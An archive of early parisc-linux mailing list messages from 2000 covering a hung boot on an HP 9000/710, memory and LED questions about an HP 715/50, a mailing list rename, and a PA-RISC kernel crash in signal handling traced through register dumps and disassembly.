> > 6. Bushmaster Core RS-232 (10) at 0xf0823000, versions 0x6, 0x0, 0x75,
> > 0x0, 0x0
> > 7. Bushmaster Core RS-232 (10) at 0xf0822000, versions 0x6, 0x0, 0x75,
> > 0x0, 0x0
> > 8. Bushmaster Core Centronics (10) at 0xf0824000, versions 0x6, 0x0,
> > 0x74, 0x0, 0x0
> > 9. Bushmaster Audio (10) at 0xf1000000, versions 0x6, 0x0, 0x7a, 0x0,
> > 0x0
> > 10. Bushmaster (710) (0) at 0xfffbe000, versions 0x300, 0x0, 0x4, 0x0,
> > 0x81
> > 11. Bushmaster (1) at 0xfffbf000, versions 0x16, 0x0, 0x9, 0x0, 0x0
> > That's a total of 11 devices.
> > Linux version 2.3.99-pre8 (bame@noam) (gcc version 2.96 20000707
> > (experimental)) #24 Fri Aug 4 18:27:58 MDT 2000
> > initrd: 00000000-00000000
> > pagetable_init
> > On node 0 totalpages: 16384
> > zone(0): 8192 pages.
> > zone(1): 8192 pages.
> > zone(2): 0 pages.
> > trap_init
> > Calibrating delay loop... 46.08 BogoMIPS
> > Memory: 61380k available
> > Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
> > Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
> > Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
> > kmem_create: Poisoning requested, but con given - bdev_cache
> > Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
> > kmem_create: Poisoning requested, but con given - inode_cache
> > POSIX conformance testing by UNIFIX
> > ASP version 1 at 0xf0800000 found.
> > request_irq(259, c01ec76c, 0x0, asp, c3fcd080)
> >
> > ---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.

--------------EF58A87E4F8EE11A82334529
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

X-Mozilla-Status2: 00000000
Message-ID: <39B99ABE.A1E2597F@uswest.net>
Date: Fri, 08 Sep 2000 20:04:47 -0600
From: Ryan Bradetich <rbradetich@uswest.net>
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Robert Stickel <rstickel@mindspring.com>
CC: parisc-linux@thepuffingroup.com
Subject: Re: [parisc-linux] Bug report
References: <39B935EE.EEEC23BE@mindspring.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Robert,

I have problems booting the 735/755 when the kernel is built with
lasi/asp option enabled (it is enabled in the default config).  If I diable
this option, I can boot the 735/755 to a root prompt.

I do not know if the kernel on the CD was built with this option, but
you could build a newer kernel with this option diabled and try it
for the 710.

Hope this helps,

-Ryan

P.S. This is on my TODO list to fix after I work on the U2/UTurn
code.  If someone else is interested in taking a look at it, let me know
and I'll pass on the little bit of information I have about this problem.


Robert Stickel wrote:

> Hello,
>
> The good news: We are really excited about the Puffin project.
>
> The bad news: We tried to boot an Apollo 9000/710 on your PA/Linux
> Developer's
> Release CD, Version 0.1 - Snapshot 2000/08/04 and never quite got to a
> root
> prompt (see transcript below).  Should this be possible or are we
> missing
> something?
>
> Thanks for any advice,
>
> rstickel@mindspring.com
> sts@minitower.gtri.gatech.edu
>
> Transcript of attempt to boot Apollo 9000/710 on Puffin CD.  At the
> request_irq(259, c01ec76c, 0x0, asp, c3fcd080)
> line the systems hangs.
>
> (c) Copyright.  Hewlett-Packard Company.  1991.
> All rights reserved.
>
> PDC ROM rev. 2.0
> IODC ROM rev. 2.0
> 64 MB of memory configured and tested.
>
> Selecting a system to boot.
> To stop selection process, press and hold the ESCAPE key.
>
> Selection process stopped.
>
> Searching for Potential Boot Devices.
> To terminate search, press and hold the ESCAPE key.
>
> Device Selection      Device Path              Device Type
> ----------------------------------------------------------------------------
>
> P0                    scsi.6.0                 MATSHITACD-ROM CR-8005A
> P1                    scsi.5.0                 IOMEGA  ZIP 100
> P2                    scsi.4.0                 iomega  jaz 1GB
> P3                    scsi.3.0                 SEAGATE ST11200N SUN1.05
> P4                    scsi.2.0                 SEAGATE ST31230N
> P5                    scsi.1.0                 IBM     0662
>
> b)    Boot from specified device
> s)    Search for bootable devices
> a)    Enter Boot Administration mode
> x)    Exit and continue boot sequence
> ?)    Help
>
> Select from menu: a
> BOOT_ADMIN> info
> ----------------------------- Hardware Configuration
> ------------------------
>
> Machine model: 9000/710
>
> Processor Frequency        = 50000000 Hz
> I/O Subsystem Frequency    = 25000000 Hz
>
> LAN Jumper Status: Internal ThinLAN Port selected
>
> Processor Revision                  = 3
> System Controller Revision          = 0
> Floating Point Coprocessor Revision = 3
>
> Hardware Version            12288     (0x00003000)
> Software Version             1153     (0x00000481)
>
> BOOT_ADMIN> boot alt
>
> Trying scsi.6.0
> Boot path initialized.
> Attempting to load IPL.
>
> Hard booted.
> palo ipl bame@noam Fri Aug  4 18:36:35 MDT 2000
> 0/vmlinux 2349352 bytes @ 0x6e8800
> 0/palo-cmdline '0/vmlinux TERM=linux HOME=/ root=/dev/scd0'
> Kernel: partition 0 file /vmlinux
> ELF32 executable
>
> Entry 00100000 first 00100000 n 4
> Segment 0 load 00100000 size 1511580 mediaptr 0x1000
> Segment 1 load 00272000 size 132368 mediaptr 0x173000
> Segment 2 load 00294000 size 86880 mediaptr 0x194000
> Segment 3 load 002ac000 size 8192 mediaptr 0x1aa000
> branching to kernel entry point 0x00100000
> pdc_cons registered !
> The Kernel has started...
> Free memory starts at: 0xc02dc000
> PALO command line: 'TERM=linux HOME=/ root=/dev/scd0'
> PALO initrd 0-0
> FP CCR was 0x0, will be set to 0xc0
> model   00003000 00000481 00000000 00000000 78243572 00000000 00000004
> 0000000d 00000000
> vers    00000003
> CPUID vers 0 rev 0
> CPU(s): 1 x PA7000 at 50.000000 MHz
> Searching for devices in PDC firmware...  an older box...
> Found devices:
> 1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0,
> 0x77, 0x0, 0x0
> 2. Bushmaster Core BA (11) at 0xf082f000, versions 0x6, 0x0, 0x70, 0x0,
> 0x0
> 3. Bushmaster Core SCSI (10) at 0xf0825000, versions 0x6, 0x0, 0x71,
> 0x0, 0x0
> 4. Bushmaster Core LAN (802.3) (10) at 0xf0826000, versions 0x6, 0x0,
> 0x72, 0x0, 0x0
> 5. Bushmaster Core HIL (10) at 0xf0821000, versions 0x6, 0x0, 0x73, 0x0,
> 0x0
> 6. Bushmaster Core RS-232 (10) at 0xf0823000, versions 0x6, 0x0, 0x75,
> 0x0, 0x0
> 7. Bushmaster Core RS-232 (10) at 0xf0822000, versions 0x6, 0x0, 0x75,
> 0x0, 0x0
> 8. Bushmaster Core Centronics (10) at 0xf0824000, versions 0x6, 0x0,
> 0x74, 0x0, 0x0
> 9. Bushmaster Audio (10) at 0xf1000000, versions 0x6, 0x0, 0x7a, 0x0,
> 0x0
> 10. Bushmaster (710) (0) at 0xfffbe000, versions 0x300, 0x0, 0x4, 0x0,
> 0x81
> 11. Bushmaster (1) at 0xfffbf000, versions 0x16, 0x0, 0x9, 0x0, 0x0
> That's a total of 11 devices.
> Linux version 2.3.99-pre8 (bame@noam) (gcc version 2.96 20000707
> (experimental)) #24 Fri Aug 4 18:27:58 MDT 2000
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 16384
> zone(0): 8192 pages.
> zone(1): 8192 pages.
> zone(2): 0 pages.
> trap_init
> Calibrating delay loop... 46.08 BogoMIPS
> Memory: 61380k available
> Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
> Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
> Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
> kmem_create: Poisoning requested, but con given - bdev_cache
> Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
> kmem_create: Poisoning requested, but con given - inode_cache
> POSIX conformance testing by UNIFIX
> ASP version 1 at 0xf0800000 found.
> request_irq(259, c01ec76c, 0x0, asp, c3fcd080)
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


--------------EF58A87E4F8EE11A82334529--


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp 715/50 questions
Date: Tue, 12 Sep 2000 15:49:22 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <39BE88C2.70325813@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619120 3506 80.91.229.3 (22 Nov 2014 01:18:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
Original-X-From: james.waterhouse@videotron.ca  Tue Sep 12 13:49:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA06549
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 13:49:02 -0600
Original-Received: (qmail 31385 invoked by uid 15267); 12 Sep 2000 19:49:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31378 invoked from network); 12 Sep 2000 19:49:27 -0000
Original-Received: from mail.videotron.ca (HELO VL-MS-MR002.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 12 Sep 2000 19:49:27 -0000
Original-Received: from videotron.ca ([207.253.220.150]) by
          VL-MS-MR002.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G0SHQD03.Y1N; Tue, 12 Sep 2000 15:49:25 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7923

Hello,
	I just bought a 715/50 off ebay and I have a few questions about it
that I hope someone can help me with. I've tried to find answers on hp's
site and on the web but have come up with nothing.
	First, the leds on the front of the case are for diagnosing the boot
process right? They have the same function as the beeps from a pc's
bios? If so then does any one know where I can find documentation for
these error codes?
	Secondly, the box I bought was a bare system... no memory and no hard
drive. I know I can put any scsi 2 hard drive in (correct me if I am
wrong) but what about memory? The slots look like 72 pin simm slots but
that means nothing? Do I have to buy special hp memory or what?
	Any help would be greatly apreciated.

Thanks,
James


-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mailing list changes
Date: Mon, 29 Mar 1999 09:56:32 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <19990329095632.U30475@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619120 3509 80.91.229.3 (22 Nov 2014 01:18:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@sod.res.cmu.edu  Mon Mar 29 09:56:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id JAA27254
	for <parisc-linux@sod.res.cmu.edu>; Mon, 29 Mar 1999 09:56:34 -0500
Original-Received: (qmail 17213 invoked by uid 15267); 29 Mar 1999 14:55:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17206 invoked from network); 29 Mar 1999 14:55:10 -0000
Original-Received: from sod.res.cmu.edu (pschwan@128.2.91.30)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 14:55:10 -0000
Original-Received: (from pschwan@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id JAA27247;
	Mon, 29 Mar 1999 09:56:32 -0500
X-Mailer: Mutt 0.91i
Xref: news.gmane.org gmane.linux.ports.parisc:7924

As we start changing things bearing the ``hppa-linux'' name to a more
suitable ``parisc-linux'', I've gone ahead and made the appropriate
changes to the mailing lists and CVS server.  Apologies to those whose
procmail scripts I've broken.

The old aliases (hppa-linux@thepuffingroup.com, hppa-linux-request,
hppa-linux-cvs, etc) are deprecated, and will function for a while
longer.  One should begin using parisc-linux@thepuffingroup.com or one
will be surprised when one's mail bounces at some unspecified point in
the future.

For those of you using CVS, the same situation applies with the
CVSROOT.  :pserver:anonymous@sod.res.cmu.edu:/home/cvs/hppa will work,
but :pserver:anonymous@sod.res.cmu.edu:/home/cvs/parisc is preferred.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] userspace function pointers in the kernel
Date: 12 Sep 2000 16:12:08 -0400
Organization: Linuxcare, Inc.
Lines: 90
Approved: news@gmane.org
Message-ID: <87em2pmktj.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619120 3511 80.91.229.3 (22 Nov 2014 01:18:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Sep 12 14:11:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07127
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 14:11:51 -0600
Original-Received: (qmail 26575 invoked by uid 15267); 12 Sep 2000 20:12:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26567 invoked from network); 12 Sep 2000 20:12:16 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 12 Sep 2000 20:12:16 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13YwPY-0007Oh-00
	for <parisc-linux@thepuffingroup.com>; Tue, 12 Sep 2000 16:12:08 -0400
Original-Lines: 89
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7925

Hi,

This simple program:

#include <signal.h>

void foo(int signo)
{
	psignal(signo, "foo");
}

int main()
{
	signal(SIGFPE, foo);
	return 0;
}

Now causes the kernel (latest from CVS) to crash where it didn't
before:

Kernel Fault: Code=15 regs=c7c44600 (Addr=00002c04)

PSW  : 0006ff0a  GR 1 : c0233000  GR 2 : c011dcf0  GR 3 : c7c44518  
GR 4 : 20020350  GR 5 : 00000008  GR 6 : 00000007  GR 7 : 00000008  
GR 8 : c7c44600  GR 9 : 2002114c  GR10 : 20020670  GR11 : 00000040  
GR12 : 00000001  GR13 : 00000078  GR14 : 00057000  GR15 : 00057000  
GR16 : 00000063  GR17 : 00000020  GR18 : 2002058c  GR19 : 00000000  
GR20 : 00002c06  GR21 : c7f2387c  GR22 : fffffff8  GR23 : c7f23880  
GR24 : c7c44528  GR25 : c7c44518  GR26 : 00002c04  GR27 : c027a000  
GR28 : fffffff2  GR29 : 00002c06  GR30 : c7c44840  GR31 : c011d7c8  
SR0  : 00002002  SR1  : 00002002  SR2  : 00000000  SR3  : 00002002  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  

IASQ : 00000000 00000000 IAOQ : c02336a0 c02336a4 ORIG_R28 : 00003fff
 IIR : 075f11d6 ISR : 00000000 IOR : 00002c04

Which is:

c0233698 <$$sh_func_adrs>:
c0233698:       37 5d 00 00     ldo 0(r26),ret1
c023369c:       d7 40 0c 3f     depw r0,30,1,r26
c02336a0:       07 5f 11 d6     probe,w (sr0,r26),r31,r22
                                ^^^^^^^^^^^^^^^^^^^^^^^^^  this insn
c02336a4:       d2 d6 3b ff     extrw,u,= r22,31,1,r22
c02336a8:       0f 40 10 9d     ldw  0(sr0,r26),ret1
c02336ac:       eb e0 c0 02     bv,n r0(r31)

Following the millicode return pointer takes us to do_signal() in
kernel/signal.c, somewhere around these lines:

		if (k->sa.sa_handler == SIG_IGN
		    || (k->sa.sa_handler == SIG_DFL

Note that the kernel is trying to compare a function pointer passed in
from userspace with an arbitrary value.

Now, first of all, this means our DTLB miss handler is broken with
respect to the PROBE instructions.  According to the architecture
manual,

        Notes: If this instruction causes a non-access data TLB miss
        fault/non-access data page fault, the operating system's
        handler is required to search its page tables for the given
        address. If found, it does the appropriate TLB insert and
        returns to the interrupting instruction. If not found, the
        handler must decode the target field of the instruction, set
        that GR to 0, set the IPSW[N] bit to 1, and return to the
        interrupting instruction.

Obviously that's not what's happening here.

Next, even if we *weren't* trapping we would still be doing the wrong
thing, because $$sh_func_adrs is actually supposed to give us the
address of the function's code, and it isn't going to do this since
the function lives in a different space.

In the case of sigaction() I think we actually want to compare the
plabel value (rather than the code address) againsr SIG_IGN and
SIG_DFL.  However there may be other cases where this will break.

Yes this is yet another side effect of the broken PA-RISC run time
architecture.  What do the IA-64 people do about this problem?

In the worst case scenario we may have to hack our millicode in the
kernel somewhat to deal with this.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Incompatibility of PIC and non-PIC
Date: Tue, 12 Sep 2000 13:39:47 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <200009122039.NAA04751@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619121 3512 80.91.229.3 (22 Nov 2014 01:18:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:41 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "David Huggins-Daines" <dhd@linuxcare.com>,
        "Alan Modra" <alan@linuxcare.com.au>
Original-X-From: cary@cup.hp.com  Tue Sep 12 14:39:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07524
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 14:39:24 -0600
Original-Received: (qmail 27826 invoked by uid 15267); 12 Sep 2000 20:39:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27818 invoked from network); 12 Sep 2000 20:39:49 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 12 Sep 2000 20:39:49 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel3.hp.com (Postfix) with ESMTP
	id 4C1DF76E; Tue, 12 Sep 2000 13:39:48 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA04751;
	Tue, 12 Sep 2000 13:39:47 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7926

>Shared libraries work well, but we've got a bigger problem now.  Our
>PIC and non-PIC code models are mutually incompatible in a big way
>(due to the use of %r19 And, it seems, while it's fine if non-PIC
>can't be used in shared libraries, it's not all right if PIC can't be
>linked statically.
> ...
>For that matter how does 32-bit HP/UX solve this issue?

When the HP-UX linker is building an a.out, it converts any r19-relative 
references into dp-relative references by rewriting the instructions. It 
still creates a linkage table entry if necessary (i.e., it doesn't 
rewrite a DLT-indirect reference as a direct dp-relative reference), but 
the linkage table entries are accessed via the dp register instead of r19.


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp 715/50 questions
Date: Tue, 12 Sep 2000 15:50:05 -0500 (CDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10009121546470.5746-100000@jesse.crash.lan>
References: <39BE88C2.70325813@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619121 3517 80.91.229.3 (22 Nov 2014 01:18:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
To: James Waterhouse <james.waterhouse@videotron.ca>
Original-X-From: catfish@alltel.net  Tue Sep 12 14:47:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07845
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 14:47:04 -0600
Original-Received: (qmail 4458 invoked by uid 15267); 12 Sep 2000 20:47:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4434 invoked from network); 12 Sep 2000 20:47:28 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.130.183)
  by mailserv2.iuinc.com with SMTP; 12 Sep 2000 20:47:28 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id PAA05778;
	Tue, 12 Sep 2000 15:50:05 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <39BE88C2.70325813@videotron.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:7927



 James the Ram on the PA-Risc is proprietary ( I have 4 of these things)
It won't work in a PC and vice versa. 
 I hope you got it cheap (as I did) or else you'll be alittle
disappointed, the 715/50 running seti@home would perform exactly as my
P166 the PA running HP-UX 9.03, PC Linux. 

 Not a super box when the Linux port is done these boxes will serve nicly.


catfish: icq #20116127


On Tue, 12 Sep 2000, James Waterhouse wrote:

> Hello,
> 	I just bought a 715/50 off ebay and I have a few questions about it
> that I hope someone can help me with. I've tried to find answers on hp's
> site and on the web but have come up with nothing.
> 	First, the leds on the front of the case are for diagnosing the boot
> process right? They have the same function as the beeps from a pc's
> bios? If so then does any one know where I can find documentation for
> these error codes?
> 	Secondly, the box I bought was a bare system... no memory and no hard
> drive. I know I can put any scsi 2 hard drive in (correct me if I am
> wrong) but what about memory? The slots look like 72 pin simm slots but
> that means nothing? Do I have to buy special hp memory or what?
> 	Any help would be greatly apreciated.
> 
> Thanks,
> James
> 
> 
> -- 
> Can you discern the signs of the times? || www.danielrevelation.com
> Do you see the storm fast approaching?  || www.sundaylaw.com
> Is your future built on "The Rock"?     ||
> www.bibleinfo.com/sc/toc_sc.html
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp 715/50 questions
Date: Tue, 12 Sep 2000 16:53:27 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200009122053.QAA06322@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.10.10009121546470.5746-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619121 3521 80.91.229.3 (22 Nov 2014 01:18:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:41 +0000 (UTC)
Cc: james.waterhouse@videotron.ca, parisc-linux@thepuffingroup.com,
        debian-hppa@lists.debian.org
To: catfish@alltel.net (T. Martin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Sep 12 14:53:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08201
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 14:53:06 -0600
Original-Received: (qmail 11228 invoked by uid 15267); 12 Sep 2000 20:53:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11220 invoked from network); 12 Sep 2000 20:53:31 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 12 Sep 2000 20:53:31 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA06322;
	Tue, 12 Sep 2000 16:53:28 -0400 (EDT)
In-Reply-To: <Pine.LNX.4.10.10009121546470.5746-100000@jesse.crash.lan> from "T. Martin" at Sep 12, 2000 03:50:05 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7928

I would bet Kingston sells memory for it.  I got memory for a 735 from
them.  You might also try the Newman Group.

>  James the Ram on the PA-Risc is proprietary ( I have 4 of these things)
> It won't work in a PC and vice versa. 

...

> On Tue, 12 Sep 2000, James Waterhouse wrote:
> 
> > Hello,
> > 	I just bought a 715/50 off ebay and I have a few questions about it
> > that I hope someone can help me with. I've tried to find answers on hp's
> > site and on the web but have come up with nothing.

...

> > 	Secondly, the box I bought was a bare system... no memory and no hard
> > drive. I know I can put any scsi 2 hard drive in (correct me if I am
> > wrong) but what about memory? The slots look like 72 pin simm slots but
> > that means nothing? Do I have to buy special hp memory or what?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userspace function pointers in the kernel
Date: Tue, 12 Sep 2000 13:54:42 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <200009122054.NAA05612@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619122 3527 80.91.229.3 (22 Nov 2014 01:18:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:42 +0000 (UTC)
To: "David Huggins-Daines" <dhd@linuxcare.com>,
        <parisc-linux@thepuffingroup.com>
Original-X-From: cary@cup.hp.com  Tue Sep 12 14:54:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08451
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 14:54:19 -0600
Original-Received: (qmail 12649 invoked by uid 15267); 12 Sep 2000 20:54:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12641 invoked from network); 12 Sep 2000 20:54:44 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 12 Sep 2000 20:54:44 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id D758CA4B; Tue, 12 Sep 2000 13:54:42 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA05612;
	Tue, 12 Sep 2000 13:54:42 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7929
